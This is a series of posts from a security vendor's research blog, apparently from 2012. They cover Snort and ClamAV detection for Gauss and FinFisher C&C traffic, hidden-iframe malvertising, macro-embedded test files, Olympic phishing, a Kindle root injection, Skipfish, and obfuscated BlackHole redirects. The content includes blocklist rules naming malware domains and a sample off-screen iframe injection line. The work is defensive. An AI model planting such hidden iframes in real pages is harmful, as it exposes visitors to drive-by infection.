Snort SIDs 23799 through 23804 cover attempts to contact these known malicious C&C servers. Additionally, SID 23824 covers the HTTP request made after resolving the C&C, which is unique enough to ensure a minimal to nonexistent false positive rate. As these rules have yet to be released, we're providing them here so that you can load them over the weekend if your organization is concerned:

alert udp $HOME_NET any -> any 53 (msg:"BLOCKLIST DNS request for known malware domain - Gauss"; flow:to_server; byte_test:1,!&,0xF8,2; content:"|0C|guest-access|03|net|00|"; fast_pattern:only; metadata:impact_flag red, policy balanced-ips drop, policy security-ips drop, service dns; reference:url,; reference:url,; classtype:trojan-activity; sid:23799; rev:1;)
alert udp $HOME_NET any -> any 53 (msg:"BLOCKLIST DNS request for known malware domain - Gauss"; flow:to_server; byte_test:1,!&,0xF8,2; content:"|0D|dotnetadvisor|04|info|00|"; fast_pattern:only; metadata:impact_flag red, policy balanced-ips drop, policy security-ips drop, service dns; reference:url,; reference:url,; classtype:trojan-activity; sid:23800; rev:1;)
alert udp $HOME_NET any -> any 53 (msg:"BLOCKLIST DNS request for known malware domain - Gauss"; flow:to_server; byte_test:1,!&,0xF8,2; content:"|13|bestcomputeradvisor|03|com|00|"; fast_pattern:only; metadata:impact_flag red, policy balanced-ips drop, policy security-ips drop, service dns; reference:url,; reference:url,; classtype:trojan-activity; sid:23801; rev:1;)
alert udp $HOME_NET any -> any 53 (msg:"BLOCKLIST DNS request for known malware domain - Gauss"; flow:to_server; byte_test:1,!&,0xF8,2; content:"|0C|datajunction|03|org|00|"; fast_pattern:only; metadata:impact_flag red, policy balanced-ips drop, policy security-ips drop, service dns; reference:url,; reference:url,; classtype:trojan-activity; sid:23802; rev:1;)
alert udp $HOME_NET any -> any 53 (msg:"BLOCKLIST DNS request for known malware domain - Gauss"; flow:to_server; byte_test:1,!&,0xF8,2; content:"|09|secuurity|03|net|00|"; fast_pattern:only; metadata:impact_flag red, policy balanced-ips drop, policy security-ips drop, service dns; reference:url,; reference:url,; classtype:trojan-activity; sid:23803; rev:1;)
alert udp $HOME_NET any -> any 53 (msg:"BLOCKLIST DNS request for known malware domain - Gauss"; flow:to_server; byte_test:1,!&,0xF8,2; content:"|06|gowin7|03|com|00|"; fast_pattern:only; metadata:impact_flag red, policy balanced-ips drop, policy security-ips drop, service dns; reference:url,; reference:url,; classtype:trojan-activity; sid:23804; rev:1;)
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"BOTNET-CNC Gauss malware check-in"; flow:to_server,established; content:"/userhome.php?sid="; nocase; http_uri; content:"&uid="; distance:0; nocase; http_uri; metadata:impact_flag red, policy balanced-ips drop, policy security-ips drop, service http; reference:url,; reference:url,; classtype:trojan-activity; sid:23824; rev:1;)

Detecting Gauss locally is arguably harder. Of the two sample DLLs the VRT has come across, both used the following decryption routine:

Detecting the above decryption subroutine provides reliable local detection for the samples we have encountered and should cover other variants. ClamAV signatures W32.Trojan.Gauss-1 through W32.Trojan.Gauss-15 are what you need to ensure are enabled for AV coverage.

FinFisher, a piece of lawful intercept malware first discussed by Rapid7, uses a heavily encoded protocol for communicating with its C&C servers. While analysts are still working on cracking that data, it has an easily detectable signature of either 8 or 16 static bytes at the start of its packet types, which makes for a pair of trivial Snort signatures:

alert tcp $HOME_NET any -> $EXTERNAL_NET [22,53,80,443] (msg:"BOTNET-CNC FinFisher initial outbound connection attempt"; flow:to_server,established; content:"|0C 00 00 00 40 01 73 00|"; fast_pattern:only; metadata:impact_flag red; reference:url,; classtype:trojan-activity; sid:23825; rev:1;)
alert tcp $HOME_NET any -> $EXTERNAL_NET [22,53,80,443] (msg:"BOTNET-CNC FinFisher outbound connection attempt"; flow:to_server,established; content:"|5C 00 00 00 A0 02 72 00 0C 00 00 00 40 04 FE 00|"; fast_pattern:only; metadata:impact_flag red; reference:url,; classtype:trojan-activity; sid:23826; rev:1;)
ClamAV coverage is equally trivial, as the malware contains a batch file in clear text that is used to remove the initial binaries dropped on the system. If you've got Trojan.FinFisher enabled, you're golden.

Tuesday, August 7, 2012

Stupid CSS Tricks

As has been well-demonstrated by the Blackhole Exploit Kit's "Loading, Please Wait..." page, people browsing the web are most likely to allow a malicious page to complete whatever action it is attempting to execute when they see no signs of strange activity on that page. Malware authors have taken note of this over the years, and go to great lengths to hide, obscure, or otherwise make invisible any part of a page that might look out of place to even the most casual of observers.

One of the classic techniques for doing so is to make use of hidden HTML iframe tags. As with anything HTML-based, there are an essentially infinite number of ways that the same effect can be achieved; height and width values can be set directly as attributes of the tag, or CSS style properties can be tweaked either inline in the tag itself, or as part of a piece of associated JavaScript.

The VRT has observed a recent malvertising campaign in the wild that puts a new spin on this old idea. Instead of specifiying size values so small that the iframe never renders, the technique being used here abuses the CSS positioning attributes, by specifying absolute values of -1,000 for both the "left" and "top" parameters. As the iframe is declared to be 6x10 pixels in size, the browser considers it to be so far off the edge of the screen that it never even attempts to render it for the user:

document.write("<iframe height="10" src="http://<redacted>.org/route.htm" style="left: -1000px; position: absolute; top: -1000px; z-index: 1;" width="6" ></iframe>");

Fortunately, this particular variant makes for an easy signature, as no legitimate iframes will ever be placed in such a ludicrous spot on the page; SID 23618 will do the job nicely. In the meantime, the VRT is continuing to follow new developments in iframe obfuscation, with an eye towards generically detecting malicious hidden iframes. As always, if you see something malicious on your network that we're not currently providing coverage for, please send us a sample at vrt at sourcefire dot com, so that our detection can be improved for you and for the entire Snort user base.

Monday, August 6, 2012

ClamAV vs. Content IQ Test, part 4

This is the fourth in a series of five blog posts about the Content IQ Test. Please see ClamAV vs. Content IQ Test, part 1, ClamAV vs. Content IQ Test, part 2 and ClamAV vs. Content IQ Test, part 3.

How would ClamAV do against dangerous VBA (Visual Basic for Applications) embedded in Office documents?

Test file 22 has the target string contained in VBA embedded in a Powerpoint file.

azidouemba@ubuntu:~/Downloads$ cat test.ldb 
azidouemba@ubuntu:~/Downloads$ clamscan -d test.ldb Test_File_22_Ts_in_Vba_in_Ppt.pptm 
Test_File_22_Ts_in_Vba_in_Ppt.pptm: TestSig2.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.97.4
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.30 MB
Data read: 0.32 MB (ratio 0.96:1)
Time: 0.449 sec (0 m 0 s)

azidouemba@ubuntu:~/Downloads$ clamscan -d test.ldb Test_File_22_Negative_Control.pptm
Test_File_22_Negative_Control.pptm: OK

----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.97.4
Scanned directories: 0
Scanned files: 1
Infected files: 0
Data scanned: 0.68 MB
Data read: 0.31 MB (ratio 2.16:1)
Time: 0.069 sec (0 m 0 s)

A PPTM file is a macro-enabled Powerpoint Presentation file and follows the Microsoft Office OpenXML format, which combines XML and ZIP compression. ClamAV treats PPTM files as archives and has no problem seeing the following in one of the files within that archive:

00000600  01 00 00 20 00 1c 02 b6  00 2d 00 65 76 61 6c 28  |... .....-.eval(|
00000610  75 6e 65 73 63 61 70 65  28 27 25 36 35 25 37 36  |unescape('%65%76|
00000620  25 36 39 25 36 63 25 32  38 25 32 39 27 29 29 20  |%69%6c%28%29')) |
00000630  3d 20 65 76 69 6c 28 29  00 11 00 20 00 1e 02 11  |= evil()... ....|

Test files 23, 24 and 25 are respectively Word, Excel and Powerpoint Show files that have the target string contained in an embedded VBA script. Simarly to test file 22, ClamAV treats these DOCM, XLSM and PPSM files as archives. See below:

azidouemba@ubuntu:~/Downloads$ cat test.ldb 
azidouemba@ubuntu:~/Downloads$ clamscan -d test.ldb Test_File_23_Ts_in_Vba_in_Doc.docm 
Test_File_23_Ts_in_Vba_in_Doc.docm: TestSig2.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.97.4
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.00 MB
Data read: 0.34 MB (ratio 0.00:1)
Time: 0.013 sec (0 m 0 s)
azidouemba@ubuntu:~/Downloads$ clamscan -d test.ldb Test_File_23_Negative_Control.docm 
Test_File_23_Negative_Control.docm: OK

----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.97.4
Scanned directories: 0
Scanned files: 1
Infected files: 0
Data scanned: 0.72 MB
Data read: 0.34 MB (ratio 2.14:1)
Time: 0.086 sec (0 m 0 s)
azidouemba@ubuntu:~/Downloads$ clamscan -d test.ldb Test_File_24_Ts_in_Vba_in_Xls.xlsm 
Test_File_24_Ts_in_Vba_in_Xls.xlsm: TestSig2.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.97.4
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.04 MB
Data read: 0.29 MB (ratio 0.14:1)
Time: 0.017 sec (0 m 0 s)
azidouemba@ubuntu:~/Downloads$ clamscan -d test.ldb Test_File_24_Negative_Control.xlsm 
Test_File_24_Negative_Control.xlsm: OK

----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.97.4
Scanned directories: 0
Scanned files: 1
Infected files: 0
Data scanned: 0.59 MB
Data read: 0.29 MB (ratio 2.01:1)
Time: 0.159 sec (0 m 0 s)
azidouemba@ubuntu:~/Downloads$ clamscan -d test.ldb Test_File_25_Ts_in_Vba_in_Pps.ppsm 
Test_File_25_Ts_in_Vba_in_Pps.ppsm: TestSig2.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.97.4
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.30 MB
Data read: 0.32 MB (ratio 0.96:1)
Time: 0.051 sec (0 m 0 s)
azidouemba@ubuntu:~/Downloads$ clamscan -d test.ldb Test_File_25_Negative_Control.ppsm 
Test_File_25_Negative_Control.ppsm: OK

----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.97.4
Scanned directories: 0
Scanned files: 1
Infected files: 0
Data scanned: 0.68 MB
Data read: 0.31 MB (ratio 2.16:1)
Time: 0.063 sec (0 m 0 s)

Test file 26 is a file that has the target string contained in an executable file embedded in a PDF file.

azidouemba@ubuntu:~/Downloads$ cat test.ldb 
azidouemba@ubuntu:~/Downloads$ clamscan -d test.ldb Test_File_26_Ts_in_Exe_in_Pdf.pdf 
Test_File_26_Ts_in_Exe_in_Pdf.pdf: TestSig2.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.97.4
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.01 MB (ratio 2.00:1)
Time: 0.011 sec (0 m 0 s)
azidouemba@ubuntu:~/Downloads$ clamscan -d test.ldb Test_File_26_Negative_Control.pdf 
Test_File_26_Negative_Control.pdf: OK

----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.97.4
Scanned directories: 0
Scanned files: 1
Infected files: 0
Data scanned: 0.02 MB
Data read: 0.01 MB (ratio 3.00:1)
Time: 0.011 sec (0 m 0 s)

ClamAV was able to determine that an executable was embedded in the PDF file, extracted it and found the following in it:

000025e0  6e 00 67 00 73 00 21 00  0a 00 0a 00 00 4d 65 00  |n.g.s.!......Me.|
000025f0  76 00 61 00 6c 00 28 00  75 00 6e 00 65 00 73 00  |v.a.l.(.u.n.e.s.|
00002600  63 00 61 00 70 00 65 00  28 00 27 00 25 00 36 00  |c.a.p.e.(.'.%.6.|
00002610  35 00 25 00 37 00 36 00  25 00 36 00 39 00 25 00  |5.%.7.6.%.6.9.%.|
00002620  36 00 63 00 25 00 32 00  38 00 25 00 32 00 39 00  |6.c.%.2.8.%.2.9.|
00002630  27 00 29 00 29 00 0a 00  0a 00 01 5f 49 00 66 00  |'.).)......_I.f.|
00002640  20 00 74 00 68 00 69 00  73 00 20 00 68 00 61 00  | .t.h.i.s. .h.a.|

Test file 27 consists of the target string contained in an executable file embedded in a PDF file in a polymorphic Zip file. We can take an educated guess as to whether ClamAV will be able to find the target string in such a file, but let's look at the test results:
azidouemba@ubuntu:~/Downloads$ cat test.ldb 
azidouemba@ubuntu:~/Downloads$ clamscan -d test.ldb TestSig2.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.97.4
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.02 MB (ratio 1.00:1)
Time: 0.063 sec (0 m 0 s)
azidouemba@ubuntu:~/Downloads$ clamscan -d test.ldb OK

----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.97.4
Scanned directories: 0
Scanned files: 1
Infected files: 0
Data scanned: 0.05 MB
Data read: 0.01 MB (ratio 4.00:1)
Time: 0.016 sec (0 m 0 s)

Finding the target string in test file 27 is no harder for ClamAV than it is for us to open Russian dolls. ClamAV extracted the contents of the Zip archive, found and opened the PDF file. The PDF was analyzed and found to contain an executable that was extracted. In the executable, ClamAV came across the following string which caused it to alert:

000025e0  6e 00 67 00 73 00 21 00  0a 00 0a 00 00 4d 65 00  |n.g.s.!......Me.|
000025f0  76 00 61 00 6c 00 28 00  75 00 6e 00 65 00 73 00  |v.a.l.(.u.n.e.s.|
00002600  63 00 61 00 70 00 65 00  28 00 27 00 25 00 36 00  |c.a.p.e.(.'.%.6.|
00002610  35 00 25 00 37 00 36 00  25 00 36 00 39 00 25 00  |5.%.7.6.%.6.9.%.|
00002620  36 00 63 00 25 00 32 00  38 00 25 00 32 00 39 00  |6.c.%.2.8.%.2.9.|
00002630  27 00 29 00 29 00 0a 00  0a 00 01 5f 49 00 66 00  |'.).)......_I.f.|
00002640  20 00 74 00 68 00 69 00  73 00 20 00 68 00 61 00  | .t.h.i.s. .h.a.|

The next post in this series will examine how well ClamAV does against the Malicious Content IQ Test.

Monday, July 30, 2012

Phishing Games

It's no surprise that, as the 2012 London Olympic games approach, cybercriminals are using the event as bait for a variety of scams. Sure, there are plenty of 419 scams revolving around the games - but we'll assume that none of the readers of this blog are dumb enough to fall an online lottery scam or the like. I'll focus today on a pair of different phish we've seen with more dirty tricks - one with an attached RTF file exploiting CVE-2010-3333, and one with a fairly standard link off to an exploit kit.

The email with the attached RTF has come in from several different sources, and all of them were classic "please read the attached file to do the thing we think you're interested in" sorts of phish. For those foolish enough to be opening random documents from strangers out of their email, an intriguing little sequence of events occurred.

After exploiting a bug in Microsoft Office (which has plenty of public exploits, and which has been actively expoited in the wild since shortly after its release in November of 2010), the included shellcode drops a file with a random name into C:\Documents and Settings\< User >\Local Settings\temp\< random >.exe, whose contents are wholly contained within the initial RTF. The extracted file is then executed; its sole purpose appears to be to drop antoehr file named cydll.dll, which is then set up as a Windows service. Once connected to its C&C server, this malicious service sends out a GET request with a very strange HTTP header named "Extra-Data-Bind". This, along with "Extra-Data-Space" and "Extra-Data" - the last of which contains what is most likely the initial beacon indicating a newly compromised host - make for easy IDS detection; SIDs 21964 and 22095 cover this traffic. The RTF itself is detected by SIDs 22101 and 22102.

The phishing message with links in it was also fairly primitive in terms of design - but likely will get people clicking on it anyway:

This particular theme comes as no surprise, given similarly-themed scams seen by other researchers. Clicking any of the links in this email leads you off to - surprsie! - a Blackhole exploit kit, which then drops multiple binaries on the target machine. In the process, the kit lit up Snort like a pinball machine - SIDs 23171, 21041, 20669, 21042, and 15306 all generated alerts on our packet capture from visiting the site.

Clearly, the best way to stay safe as this year's Olympics approach is to be suspicious of any email you get regarding the games, especially if the email offers something too good to be true. If, of course, you've got users who fall for every trick in the book - the good news is that the VRT has you covered.

Tuesday, July 24, 2012

Don't Panic

Probably the very last thing I think about when I settle down to a nice cup of tea and an electronic book is that my Kindle is being owned.  Here I am, enjoying the satiric humor of Douglas Adams and suddenly it occurs to me, "I'm not sure I remember the ingredients for my favorite pan-galactic drink."  So off I go to some, unbeknownst to me, nefarious website and just as the page loads...WHAM.  My kindle is owned.  The story is the same, as technology grows, so do weaknesses in software.  As it turns out, a new feature of the Kindle Touch browser is support for NPAPI, a common scriptable plugin API.  This is great news for plugin writers for Kindle, but poses serious security risks for the browser, as the API has full root privileges on the device.  It is possible in version 5.1.0 of the device to call the API in an <embed> tag, and then use the "lipc.set" method to inject shell commands with root privileges!  The specifics I omit here, but for those of you keeping score at home don't panic!  The VRT has you covered with SIDs 23616 and 23617.

Friday, July 20, 2012

fast_pattern is fast

A fairly new reconnaissance tool called Skipfish was brought to our attention earlier this week. I wanted to take a few minutes and demonstrate a case where multiple rules using fast_pattern can be more efficient than a single rule with a regular expression.

Taking a quick look through the Skipfish source code shows there are four predefined user-agent strings with a version (2.07b) appended to the end. There is a default and then three that are intended to resemble typical user-agent strings.





Each of the strings has "SF/" so a regular expression can be used to detect all four variations:


I used the tool and generated some traffic with each of the User-Agent strings and this rule had an Avg/Check of 92.5 microseconds.

Now using the fast pattern matcher the rule for the default User-Agent string looks like this.

content:"User-Agent: Mozilla/5.0 SF/"; fast_pattern:only;

The 'only' modifier to fast_pattern means this is only evaluated by the fast pattern matcher and not as a rule option. Since there are no other rule options this rule is evaluated entirely in the fast pattern matcher, and never enters the core Snort engine. This rule had an Avg/Check of 2.3 microseconds; none of the other three rules written this way were over 3.5 microseconds.

This demonstrates a significant performance advantage to running four separate rules instead of a single regular expression.

While the VRT is constantly monitoring for new tools being used in the field, we happily accept tool submissions from the field for creating new Snort rules. If you come across other tools like this that you want rule coverage for, please send them to us, research < at > sourcefire < dot > com. For those keeping score at home, the SIDs for the new Skipfish rules are 23601 - 23604.

Tuesday, July 17, 2012

The Power of Open Source Intelligence

Last week, an email came into the main VRT email account, entitled "New Malicious Javascript." The note inside was from Mr. Brett C., a Sourcefire customer who'd stumbled across an interesting chunk of heavily obfuscated JavaScript that was the first page in a chain of events leading to a BlackHole exploit kit. While SIDs 21041, 21492, and 21646 alerted him to the presence of the exploit kit, this new chunk of JavaScript was of interest, because it looked nothing like BlackHole redirect pages we'd seen before.
Operating only on a single sample, it was immediately apparent that this new JavaScript was up to no good, based on the level of randomization:

Mr. C. had done an excellent bit of research, and had submitted the de-obfuscated version of the code as well. It was redirecting off to another site, which finally dropped the user off at the live BlackHole kit. Since it didn't look anything like the standard BlackHole redirection stuff we see - or really, like any of the other kits we're tracking that do redirection - even with this excellent pile of intelligence, it was tough to say what exactly we could base a signature on, as it was difficult to tell what parts of the kit would remain static, vs. which ones would be randomized on the next pass through.

Wanting to not leave a customer hanging when he'd provided such an interesting chunk of data, I wrote up a pair of rules around the fact that a pair of JavaScript calls in the page - to setTimeout() and addEventListener() - had mixed ASCII characters and hexadecimal escape sequences. Generally speaking, doing so on a randomized basis is one of the hallmarks of malicious code - if you've got nothing to hide, there's no reason to go to the effort to put some of your characters in randomly as hexadecimal. Sure, there are exceptions - non-US English character sets will contain hexadecimal sequences for special characters, and sometimes paranoid programmers will obfuscate their JavaScript so that you can't steal their work - but those tend to be exceptions to the rule, and obvious to differentiate from evil traffic. Mr. C. volunteered to deploy them on his system and report back to me on false positives vs. real hits, to see if the rules would be useful for general public release.
While the rules quickly produced a pile of false positives - it seems that Google, among others, like the hex-escape quote marks in those calls on a regular basis - some hits on malicious pages popped up as well. In fact, in one such case, SID 21845 - which looks for the TDS Sutra redirection software - triggered after my experimental rules had fired, on the way off to further nefarious content. In the process, Mr. C was able to collect a second sample of the kit in action - which helped me figure out which parts stayed static across multiple runs, and which parts were being obfuscated at runtime.

There appear to be a few artifacts left over by the kit that could probably be used for very speficic detection, and the VRT will be watching for other instances of this kit going forward to see if we can hit those artifacts specifically. In the meantime, however, my initial instinct about obfuscated JavaScript calls proved to be working well - especially if I required to hexadecimal escapes within the first argument to those calls, and required that one be not the first character in (i.e. an escaped quote). Deploying that update to the rule on Mr. C's systems and some of the VRT's other sensing networks, the new revision of the rules proved to have a few false positives left - but still had a high enough signal-to-noise ratio that many administrators would find them worth deploying.

As a result, we've added SIDs 23841 and 23842 to the VRT rule set, in our new INDICATOR-OBFUSCATION category. The rules are off by default in all policies, as they will produce some level of noise on any given network - but administrators who are willing to review events and look for obviously evil JavaScript are encouraged to turn them on and see what they find.

The best part about this entire process, however, came when we sat down to ensure ClamAV coverage for these new malicious files. Since we weren't sure what the kit here was, we ran the samples through VirusTotal, to see what other vendors might be calling it (since the world of antivirus naming is so unstandardized, we try to at least go with the community naming consensus where available). The first sample that was sent in was detected by precisely zero of forty-two antivirus vendors; the second sample, which we received yesterday, was detected by two vendors (Microsoft, as Trojan.JS/IframeRef.G, and ESET, as JS/Agent.NGK).

The newly-minted ClamAV signature which covers both samples is called JS.Obfus-218; however, the kit itself, for now at least, appears to be nameless. That said, if you recognize this kit, or just have a good idea for a cool name (whoever came up with "BlackHole" obviously had a mind for evil marketing genius), let us know - and we'll either start calling it by its proper name, or take advantage of being early enough in the detection game to name what appears to be a brand-new chunk of exploit kit code.